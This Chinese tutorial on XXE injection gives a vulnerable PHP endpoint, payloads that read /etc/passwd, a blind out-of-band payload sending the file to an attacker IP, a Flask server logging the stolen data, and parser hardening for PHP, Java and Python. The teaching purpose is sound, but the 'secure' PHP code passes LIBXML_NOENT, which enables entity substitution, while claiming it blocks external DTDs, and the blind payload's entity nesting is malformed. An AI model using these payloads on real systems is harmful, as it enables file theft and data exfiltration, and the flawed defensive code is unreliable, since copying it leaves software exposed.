XML外部实体注入(XXE)漏洞深度剖析与防御实践

【精选优质专栏推荐】

  • 《AI 技术前沿》—— 紧跟 AI 最新趋势与应用
  • 《网络安全新手快速入门(附漏洞挖掘案例)》—— 零基础安全入门必看
  • 《BurpSuite 入门教程(附实战图文)》—— 渗透测试必备工具详解
  • 《网安渗透工具使用教程(全)》—— 一站式工具手册
  • 《CTF 新手入门实战教程》—— 从题目讲解到实战技巧
  • 《前后端项目开发(新手必知必会)》—— 实战驱动快速上手


每个专栏均配有案例与图文讲解,循序渐进,适合新手与进阶学习者,欢迎订阅。

文章目录

  • 一、引言
  • 二、XXE漏洞核心原理
    • 2.1 核心概念定义
    • 2.2 漏洞触发条件
    • 2.3 攻击场景与技术路径
  • 三、XXE漏洞实践案例
    • 3.1 案例环境说明
    • 3.2 本地文件读取案例与代码演示
      • 3.2.1 漏洞代码分析
      • 3.2.2 攻击代码构造与执行
    • 3.3 盲XXE内网探测案例与代码演示
      • 3.3.1 攻击场景说明
      • 3.3.2 攻击代码构造与执行
  • 四、XXE漏洞防御方案
    • 4.1 核心防御原则
    • 4.2 各编程语言解析器安全配置
      • 4.2.1 PHP
      • 4.2.2 Java
      • 4.2.3 Python
    • 4.3 额外防护措施
  • 五、总结

本文介绍XML外部实体注入(XXE)漏洞的核心技术原理、触发条件与攻击场景,结合PHP环境下的实践案例,演示本地文件读取与盲XXE带外数据传输的攻击过程,提供带详细注释的攻击与防御代码。文章深入剖析XXE漏洞的技术路径,包括本地文件泄露、内网探测、盲XXE攻击等,针对PHP、Java、Python三种主流语言给出解析器安全配置方案,同时补充输入过滤、权限控制等额外防护措施。最后总结案例经验与行业最佳实践,为开发者与安全人员提供XXE漏洞的全面防护参考。

一、引言

在Web应用及分布式系统的交互中,可扩展标记语言(eXtensible Markup Language,XML)因具备跨平台、结构化数据描述能力,被广泛应用于接口数据传输、配置文件存储、SOAP协议通信等场景。从早期的企业级系统接口到如今的微服务架构数据交互,XML始终占据着重要地位。然而,XML的灵活性也带来了安全隐患,XML外部实体注入(XML External Entity Injection,XXE)漏洞便是其中典型代表。

XXE漏洞源于应用程序对XML文档解析时,未严格限制外部实体的加载与解析,导致攻击者可通过构造恶意XML内容,触发外部资源访问、本地文件读取、远程命令执行(部分场景)等攻击行为。与SQL注入、XSS等热门漏洞相比,XXE漏洞的曝光度较低,但其危害范围却覆盖服务器敏感信息泄露、内网探测、权限提升等多个维度,且在老旧系统及未规范配置的解析器中仍高频出现。根据OWASP Top 10 2021报告,XXE漏洞被归类于“安全配置错误”范畴,其本质是开发者对XML解析器的安全特性认知不足,或为追求兼容性而放松了安全限制。

本文将从XXE漏洞的核心概念出发,深入剖析其技术原理、触发条件及攻击场景,结合实际可落地的案例与带注释代码演示攻击过程与防御方案,最后总结XXE漏洞的防护要点与行业最佳实践,为开发者与安全人员提供全面的技术参考。

二、XXE漏洞核心原理

2.1 核心概念定义

要理解XXE漏洞,首先需明确XML文档的基本结构与实体(Entity)的概念。XML文档由声明、元素、属性、实体等部分组成,其中实体是XML中用于表示特定数据的符号,可类比为编程语言中的“变量”,用于简化文档编写并实现数据复用。根据加载方式与范围,实体可分为内部实体、外部实体、参数实体等类型,XXE漏洞主要与外部实体(External Entity)及参数实体(Parameter Entity)相关。

外部实体允许通过URI引用外部资源,将外部数据加载到XML文档中,其定义格式通常包含在文档类型定义(Document Type Definition,DTD)中。DTD是XML文档的语法约束规则,用于定义文档的结构、元素、属性及实体,可内置于XML文档(内部DTD)或引用外部文件(外部DTD)。当XML解析器启用外部实体加载功能,且未对外部实体的URI进行严格校验时,攻击者便可构造恶意DTD,指定可控的外部资源URI,使解析器加载并执行攻击者预设的内容,从而触发XXE漏洞。

参数实体则是一种特殊的实体,仅在DTD中生效,用于DTD内部的内容替换,其定义以“%”开头,且需在DTD中通过“%实体名;”引用。参数实体常被用于构建复杂的DTD逻辑,同时也是XXE漏洞进阶攻击(如盲XXE)的核心载体,因为其引用过程对用户不可见,攻击行为更具隐蔽性。

2.2 漏洞触发条件

XXE漏洞的触发需同时满足两个核心条件:一是XML解析器启用了外部实体加载功能(默认情况下,部分解析器如Java的DOM解析器、Python的lxml解析器可能启用该功能);二是应用程序接收用户可控的XML输入,并将其直接传入解析器进行解析,且未对输入中的DTD与实体定义进行过滤或校验。

从解析器特性来看,不同编程语言的XML解析库对外部实体的支持存在差异。例如,Java中的javax.xml.parsers包下的DOM、SAX解析器,在默认配置下会解析外部实体;Python的标准库xml.etree.ElementTree默认不解析外部实体,但若使用lxml库且未指定禁止外部实体加载,则可能存在风险;PHP的libxml库在版本2.9.0及以上默认禁用外部实体加载,而低版本则存在安全隐患。此外,部分应用程序为实现复杂的XML解析需求,可能主动开启外部实体加载功能,进一步扩大了漏洞触发的可能性。

值得注意的是,即使应用程序未直接返回XML解析结果,攻击者仍可通过盲XXE漏洞实现攻击目的。盲XXE漏洞的核心逻辑是利用外部实体加载时的网络请求或文件读取行为,通过观察解析器对外部资源的访问状态(如是否发起请求、请求耗时等),间接获取敏感信息,这种攻击方式更难被检测,危害也更为隐蔽。

2.3 攻击场景与技术路径

XXE漏洞的攻击场景可根据危害程度与实现方式分为多个维度,核心攻击路径围绕外部资源访问与数据泄露展开。首先是本地文件读取,这是XXE漏洞最基础也最常见的攻击场景。攻击者通过构造外部实体,指定指向服务器本地敏感文件的URI(如file://协议),使解析器读取文件内容并将其嵌入XML文档,若应用程序返回解析结果,则可直接获取文件内容。常见的敏感文件包括操作系统配置文件(如Linux的/etc/passwd、Windows的C:\Windows\system32\drivers\etc\hosts)、应用程序配置文件(如数据库连接信息、API密钥)等。

其次是内网探测与端口扫描。攻击者可利用外部实体的远程URI引用功能(如http://、ftp://协议),向目标服务器所在内网的其他主机发送请求,通过观察请求是否成功响应,判断内网主机的存活状态与端口开放情况。例如,构造指向内网192.168.1.1:80、192.168.1.2:3306等地址的外部实体,若解析器发起请求并收到响应,则可确认对应主机与端口存活,为后续内网渗透攻击奠定基础。

在特定场景下,XXE漏洞还可实现远程命令执行或拒绝服务攻击。当XML解析器所在服务器支持特定协议(如expect://协议),且解析器具备执行命令的权限时,攻击者可通过外部实体构造expect://协议请求,执行系统命令(如ls、whoami等)。此外,攻击者还可构造指向超大文件或无限循环资源的外部实体,导致解析器持续加载资源,耗尽服务器CPU、内存资源,引发拒绝服务(DoS)。

盲XXE漏洞的攻击路径则更为特殊,攻击者无法直接获取解析结果,需通过带外通道(Out-of-Band,OOB)传输数据。例如,构造外部实体引用攻击者控制的服务器地址,将读取到的敏感文件内容通过URL参数或DNS查询的方式传递给攻击者,再通过分析服务器日志获取数据。这种方式适用于应用程序不返回XML解析结果,但仍会解析外部实体的场景,覆盖范围更广。

三、XXE漏洞实践案例

3.1 案例环境说明

本次案例基于PHP环境搭建,采用libxml2.8.0版本(低版本默认启用外部实体加载),使用SimpleXML扩展解析XML输入。案例模拟一个接收XML格式用户信息的接口,接口功能为解析用户提交的XML数据,提取用户名与邮箱并返回确认信息。由于接口未对XML输入进行安全过滤,存在XXE漏洞,攻击者可通过构造恶意XML内容实现本地文件读取与内网探测。

案例环境配置:服务器操作系统为Linux Ubuntu 18.04,PHP版本7.2.34,Web服务器为Nginx 1.14.0,XML解析库为libxml2.8.0。攻击者主机IP为192.168.1.100,目标服务器IP为192.168.1.200,内网网段为192.168.1.0/24。

3.2 本地文件读取案例与代码演示

3.2.1 漏洞代码分析

目标接口的PHP代码如下,核心功能为接收POST请求中的XML数据,通过simplexml_load_string函数解析XML,提取user节点下的username与email属性,并返回解析结果。代码中未对XML输入进行任何过滤,且simplexml_load_string函数在libxml2.8.0版本下默认启用外部实体加载,存在明显的XXE漏洞。

<?php// 接收POST请求中的XML数据$xml=file_get_contents('php://input');if(empty($xml)){die("请提交XML数据");}// 解析XML数据(存在XXE漏洞:未禁用外部实体,未过滤DTD)$dom=simplexml_load_string($xml);if($dom===false){die("XML解析失败");}// 提取用户信息并返回$username=$dom->user->username;$email=$dom->user->email;echo"已接收用户信息:用户名-{$username},邮箱-{$email}";?>

上述代码的核心风险点在于simplexml_load_string函数的默认配置。在PHP中,simplexml_load_string依赖libxml库解析XML,而libxml2.9.0版本之前,默认不会禁用外部实体加载,攻击者可通过在XML中嵌入恶意DTD,触发外部实体解析。

3.2.2 攻击代码构造与执行

攻击者构造如下恶意XML数据,通过POST请求提交至目标接口。该XML包含内部DTD,定义了一个外部实体xxe,引用本地文件/etc/passwd(Linux系统用户信息文件),并在user节点的username属性中引用该实体,使解析器读取/etc/passwd内容并嵌入XML解析结果中。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPEroot[<!ENTITY xxe SYSTEM "file:///etc/passwd"&gt;<!-- 定义外部实体,引用本地文件 -->]><root><user><username>&xxe;&lt;/username&gt;<!-- 引用外部实体,将文件内容嵌入username --><email>test@example.com</email></user></root>

将上述XML数据通过POST工具(如Burp Suite)提交至目标接口(http://192.168.1.200/user.php),由于接口会返回解析后的用户名与邮箱信息,攻击者可直接在响应中获取/etc/passwd文件内容,部分响应结果如下:

已接收用户信息:用户名-root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ...(省略后续内容),邮箱-test@example.com

通过该攻击,攻击者成功读取了目标服务器的敏感用户信息,为后续暴力破解、权限提升等攻击提供了条件。若目标服务器存在其他敏感文件(如数据库配置文件、SSH密钥),攻击者可通过修改外部实体的URI(如file:///var/www/config.php),进一步获取更多核心信息。

3.3 盲XXE内网探测案例与代码演示

3.3.1 攻击场景说明

假设目标接口优化后,不再返回XML解析结果,仅返回“提交成功”的固定提示,此时常规的本地文件读取攻击无法直接获取数据,攻击者可通过盲XXE漏洞,结合带外通道实现内网探测与数据泄露。本案例中,攻击者通过构造恶意XML,使目标服务器向内网主机发送HTTP请求,同时将敏感数据通过URL参数传递至攻击者控制的服务器,实现数据带外传输。

3.3.2 攻击代码构造与执行

攻击者首先在自己的服务器(192.168.1.100)搭建一个简易的HTTP服务,用于接收目标服务器的请求并记录日志,代码如下(使用Python Flask框架):

fromflaskimportFlask,requestimportlogging app=Flask(__name__)# 配置日志,记录请求信息logging.basicConfig(level=logging.INFO)logger=logging.getLogger(__name__)@app.route('/log')deflog():# 记录请求参数与来源IPdata=request.args.get('data','')client_ip=request.remote_addr logger.info(f"收到来自{client_ip}的数据:{data}")return"ok"if__name__=='__main__':app.run(host='0.0.0.0',port=80)

随后,攻击者构造如下盲XXE攻击XML,通过POST请求提交至目标接口。该XML定义了一个参数实体%xxe,引用攻击者服务器的HTTP地址,并将/etc/passwd文件内容通过URL参数data传递给攻击者的日志服务;同时定义了一个内部实体,引用参数实体以触发解析。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPEroot[<!ENTITY % xxe SYSTEM "http://192.168.1.100/log?data=%file;"&gt;<!-- 参数实体,请求攻击者服务器并携带数据 --><!ENTITY % file SYSTEM "file:///etc/passwd"&gt;<!-- 读取本地文件,定义为参数实体 -->%xxe;<!-- 引用参数实体,触发外部请求 -->]><root><user><username>test</username><email>test@example.com</email></user></root>

当目标服务器解析该XML时,会先加载%file实体,读取/etc/passwd文件内容;随后加载%xxe实体,向攻击者的HTTP服务发起请求,将文件内容通过data参数传递。攻击者查看自己服务器的日志,即可获取/etc/passwd文件内容,日志信息如下:

INFO:__main__:收到来自192.168.1.200的数据:root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ...

若要进行内网探测,攻击者可修改外部实体的URI,指向内网不同的主机与端口,例如将%xxe实体的URI改为“http://192.168.1.1:80”,若攻击者的日志服务未收到请求,但目标服务器解析XML耗时明显增加,说明内网192.168.1.1主机80端口可能开放(请求被内网防火墙拦截但耗时增加);若收到请求,则可确认主机存活且端口开放。

四、XXE漏洞防御方案

4.1 核心防御原则

XXE漏洞的防御核心原则是“禁用外部实体加载+过滤用户可控XML输入”,同时结合解析器安全配置、输入验证、输出编码等多层防护措施,形成完整的防御体系。防御方案需覆盖开发编码、解析器配置、运维部署等多个环节,既要杜绝漏洞触发条件,也要降低漏洞被利用后的危害。

需明确的是,防御XXE漏洞的首选方案是禁用外部实体加载,而非单纯依赖输入过滤。因为XML语法复杂,DTD与实体的定义方式多样,输入过滤难以覆盖所有恶意场景,而禁用外部实体可从根源上阻止攻击者构造外部资源引用。

4.2 各编程语言解析器安全配置

不同编程语言的XML解析库存在差异,需针对具体解析器进行安全配置,禁用外部实体加载功能。以下是主流编程语言的核心防御配置方案:

4.2.1 PHP

PHP基于libxml库解析XML,防御XXE漏洞的核心是启用libxml的外部实体禁用功能。可通过libxml_disable_entity_loader函数禁用外部实体加载,该函数适用于SimpleXML、DOM、SAX等解析方式。优化后的安全代码如下:

<?php$xml=file_get_contents('php://input');if(empty($xml)){die("请提交XML数据");}// 核心防御:禁用外部实体加载libxml_disable_entity_loader(true);// 解析XML,同时指定禁止加载外部DTD$dom=simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT|LIBXML_DTDLOAD);if($dom===false){die("XML解析失败");}$username=$dom->user->username;$email=$dom->user->email;echo"已接收用户信息:用户名-{$username},邮箱-{$email}";?>

补充说明:LIBXML_NOENT参数用于将实体引用替换为对应内容,LIBXML_DTDLOAD参数用于加载内部DTD,但结合libxml_disable_entity_loader(true)可确保外部实体无法加载。

此外,建议将libxml库升级至2.9.0及以上版本,该版本默认禁用外部实体加载,进一步提升安全性。

4.2.2 Java

Java的XML解析器(DOM、SAX、StAX等)默认启用外部实体加载,需通过配置禁用。

以DOM解析器为例,安全配置方案如下,核心是设置XMLConstants.ACCESS_EXTERNAL_DTD与XMLConstants.ACCESS_EXTERNAL_SCHEMA属性,限制外部资源访问:

importorg.w3c.dom.Document;importjavax.xml.parsers.DocumentBuilder;importjavax.xml.parsers.DocumentBuilderFactory;importjavax.xml.XMLConstants;publicclassSafeXmlParser{publicstaticDocumentparseXml(byte[]xmlData)throwsException{DocumentBuilderFactorydbf=DocumentBuilderFactory.newInstance();// 核心防御:禁用外部DTD与Schema访问dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD,"");dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA,"");// 禁用DOCTYPE声明解析(可选,若业务无需DTD可开启)dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);// 禁用外部实体加载dbf.setFeature("http://xml.org/sax/features/external-general-entities",false);dbf.setFeature("http://xml.org/sax/features/external-parameter-entities",false);DocumentBuilderdb=dbf.newDocumentBuilder();returndb.parse(newjava.io.ByteArrayInputStream(xmlData));}}

4.2.3 Python

Python的标准库xml.etree.ElementTree默认不解析外部实体,安全性较高;但使用lxml库时需额外配置。

以下是lxml库的安全解析方案:

fromlxmlimportetreedefsafe_parse_xml(xml_data):# 核心防御:创建安全解析器,禁用外部实体parser=etree.XMLParser(resolve_entities=False)# 解析XMLtree=etree.fromstring(xml_data,parser=parser)returntree

补充说明:resolve_entities=False参数用于禁用外部实体解析,确保攻击者构造的外部实体无法被加载。同时,避免使用lxml的etree.parse函数直接解析外部文件,若需解析文件,需先读取文件内容,再通过fromstring函数结合安全解析器解析。

4.3 额外防护措施

除了解析器安全配置,还需结合以下措施强化防御,抵御复杂攻击场景。

一是输入验证与过滤,对用户提交的XML数据进行严格校验,禁止包含DOCTYPE声明、实体定义等恶意内容,可通过正则表达式过滤“<!DOCTYPE”“<!ENTITY”等关键字,同时限制XML节点、属性的取值范围;

二是输出编码,若应用程序需返回XML解析结果,需对输出内容进行HTML编码或XML编码,防止解析结果中的敏感信息被直接泄露;

三是限制解析器权限,运行XML解析器的进程应使用最低权限账户,禁止该账户访问服务器敏感文件、执行系统命令,降低漏洞被利用后的危害;

四是监控与审计,部署网络监控设备与应用日志审计系统,实时检测XML解析过程中的异常外部请求(如访问内网地址、敏感文件路径的请求),及时发现攻击行为。

五、总结

本次实践案例通过PHP环境下的XXE漏洞,演示了本地文件读取与盲XXE带外数据传输的攻击过程,验证了XXE漏洞的危害与触发机制。从案例中可发现,XXE漏洞的产生多源于开发者对XML解析器安全特性的忽视,尤其是低版本解析器的默认配置存在安全隐患。同时,盲XXE漏洞作为XXE的进阶形式,其隐蔽性更强,可在应用程序不返回解析结果的场景下实现攻击,需重点防范。

防御层面,禁用外部实体加载是最直接有效的手段,结合解析器安全配置、输入过滤、权限控制等措施,可形成多层防护体系。需注意的是,不同编程语言、不同解析库的防御配置存在差异,开发者需根据实际业务场景选择对应的防御方案,同时避免为追求兼容性而放松安全限制。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1191194.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

快讯|萝博派对(RoboParty)Roboto_Origin项目全栈上线:1.2m人形机器人硬件结构、BOM清单、3m/s运动控制算法完全开源;灵心巧手与Xbotics推出线上实习项目,打造人才生态

&#x1f43e; 具身智能 / AI 赛道&#xff0c;过去24小时的行业焦点&#xff0c;像北京的冬日阳光一样&#xff0c;一半洒在突破想象力的AI疆界&#xff0c;另一半则直射向机器人领域那些试图“掀翻桌子”的年轻身影。当GPT-5.2 Pro在数学的圣殿里留下足迹时&#xff0c;一群0…

阿里云ECS部署hadoop+MapReduce+Spark实践

阿里云ECS部署hadoop+MapReduce+Spark实践host说明 Namenode:主机结点 Datanode1:数据节点1 Datanode2:数据节点2 私网ip(在阿里云查看) 172.xx.xxx.xx Namenode 172.xx.xx.xx Datanode1 172.xx.xxx.xxx D…

GBase 8s MTK工具,让数据库迁移更简单

在企业数字化转型和国产化替代的浪潮中&#xff0c;数据迁移往往是让IT团队最头疼的环节之一&#xff1a;源端系统五花八门&#xff0c;迁移过程怕丢数据、怕出错&#xff0c;操作复杂门槛高……而与GBase 8s数据库配套的GBase Migration Toolkit&#xff08;简称 MTK&#xff…

谷歌新发现:DeepSeek推理分裂出多重人格,左右脑互搏越来越聪明

谷歌最新研究表明&#xff0c;DeepSeek-R1这类顶尖推理模型在解题时&#xff0c;内部会自发“分裂”出不同性格的虚拟人格&#xff0c;比如外向的、严谨的、多疑的……AI变聪明的真相居然是正在“脑内群聊”&#xff1f;&#xff01;谷歌最新研究表明&#xff0c;DeepSeek-R1这…

【课程设计/毕业设计】机器学习基于python-cnn深度学习识别水果是否成熟

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

GBase 8c数据库故障定位解析

南大通用GBase 8c数据库定位数据库故障&#xff0c;可从以下方面进行排查分析&#xff1a;日志&#xff1a;数据库日志记录了数据库服务端启动、运行或停止时出现的问题&#xff0c;当数据库在启动、运行或停止的过程中出现问题时&#xff0c;数据库用户可以通过运行日志快速分…

无需PLC控制,威纶通触摸屏直接实现与台达变频器通信控制

一、PLC通信简介 威纶通(Weinview)触摸屏作为工业人机交互核心,与台达(Delta)变频器的通信是自动化控制系统中常见的应用场景。通过两者的稳定通信,可实现变频器运行状态监控、参数设置、启停控制等功能,简化操…

巴菲特的市场周期理解

巴菲特的市场周期理解 关键词:巴菲特、市场周期、价值投资、市场波动、长期投资、风险评估、投资策略 摘要:本文深入探讨了巴菲特对市场周期的理解。从背景介绍入手,阐述研究目的、预期读者、文档结构及相关术语。接着剖析核心概念,揭示市场周期与巴菲特投资理念的联系,并…

探索健康管理虚拟仿真实训室的创新教学应用

一、推动教学理念从知识传授向能力建构转型 健康管理虚拟仿真实训室的应用&#xff0c;首先带来的是教学理念的深刻革新。传统教学往往偏重于理论知识与标准流程的讲授&#xff0c;学生缺乏在复杂、动态的真实情境中综合决策与应急处置的机会。点击获取方案 而健康管理虚拟仿真…

GBase 8c数据库操作系统故障定位介绍

南大通用GBase 8c数据库查询状态时&#xff0c;显示一个节点上所有实例都不正常时&#xff0c;可能是操作系统发生了故障。可以通过如下方法确定操作系统是否存在问题&#xff1a;1、通过 SSH 或者其它远程登录工具登录该节点。如果连接失败&#xff0c;请尝试通过 ping 发包检…

【Effective Modern C++】第二章 auto:6. 当auto推导的类型不符合要求时,使用显式类型初始化习惯用法

个人认为原著写的非常难懂&#xff0c;所以精简总结如下&#xff1a; auto与代理类的问题&#xff1a; 当使用auto进行类型推导时&#xff0c;如果表达式返回的是代理类&#xff0c;auto会推导出代理类型而不是被代理的实际类型&#xff0c;可能导致未定义行为。 例如&#…

智慧旅游虚拟仿真实训:场景化与交互式学习

随着旅游产业的数字化转型不断深入&#xff0c;行业对既掌握专业理论知识&#xff0c;又具备实践操作与应变能力的高素质人才需求日益迫切。在这一背景下&#xff0c;旅游管理虚拟仿真实训室应运而生&#xff0c;它作为连接传统课堂与真实行业场景的关键桥梁&#xff0c;正深刻…

【毕业设计】(源码+文档+远程调试,全bao定制等)基于python-cnn深度学习识别水果是否成熟

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

GBase 8c数据库磁盘故障定位解析

南大通用GBase 8c数据库常见的磁盘故障是磁盘空间不足、磁盘出现坏块、磁盘未挂载等。部分磁盘故障会导致文件系统损坏&#xff0c;例如磁盘未挂载&#xff0c;数据库管理自动定期执行磁盘检测时会识别故障并将实例停止&#xff0c;查看数据库状态时对应实例状态异常&#xff1…

5.AiServices工具类

目录 一.为什么要学习这个工具类&#xff1f; 二.使用步骤 1.引入依赖 2.声明接口 3.使用AiServices为接口创建代理对象 方式①&#xff1a;编写配置类 方式②&#xff1a;使用注解 4.在Controller中注入并使用 三.运行项目&#xff0c;测试效果 四.解释一下上面的Co…

莫凡电视的核心优势——聚焦全国地方台全量覆盖

各位影视与电视技术爱好者&#xff0c;今天分享莫凡电视的核心优势——聚焦全国地方台全量覆盖与直播流畅度&#xff0c;技术点扎实易懂&#xff0c;适配智能电视、机顶盒、投影仪等终端&#xff0c;大幅提升本地频道观影体验与实用性。 地方台接收核心搭载多协议解码引擎&…

谁需要迪士尼验厂与FAMA

需要知道谁做迪士尼验厂和谁需要FAMA&#xff0c;首先我们要来分清楚他们各自是什么&#xff1f; 迪士尼验厂&#xff08;Disney ILS Audit&#xff09;是迪士尼公司对其全球供应链中生产工厂进行的一种符合性审核&#xff0c;旨在确保供应商在社会责任、劳工权益、职业健康安全…

企业微信外部群主动推送消息全攻略

QiWe开放平台 个人名片 API驱动企微自动化&#xff0c;让开发更高效 核心能力&#xff1a;为开发者提供标准化接口、快速集成工具&#xff0c;助力产品高效拓展功能场景 官方站点&#xff1a;https://www.qiweapi.com 团队定位&#xff1a;专注企微API生态的技术服务团队 对接…

紫外荧光精准测硫,后处理系统开发利器:MEXA-1170SX硫黄分析装置项目实战全解

紫外荧光精准测硫&#xff0c;后处理系统开发利器&#xff1a;MEXA-1170SX硫黄分析装置项目实战全解在发动机后处理技术迭代与超低硫排放法规日益严苛的背景下&#xff0c;高灵敏度、多模式、实时在线的硫化合物分析已成为发动机研发、排放测试与润滑油消耗评估的核心环节。近期…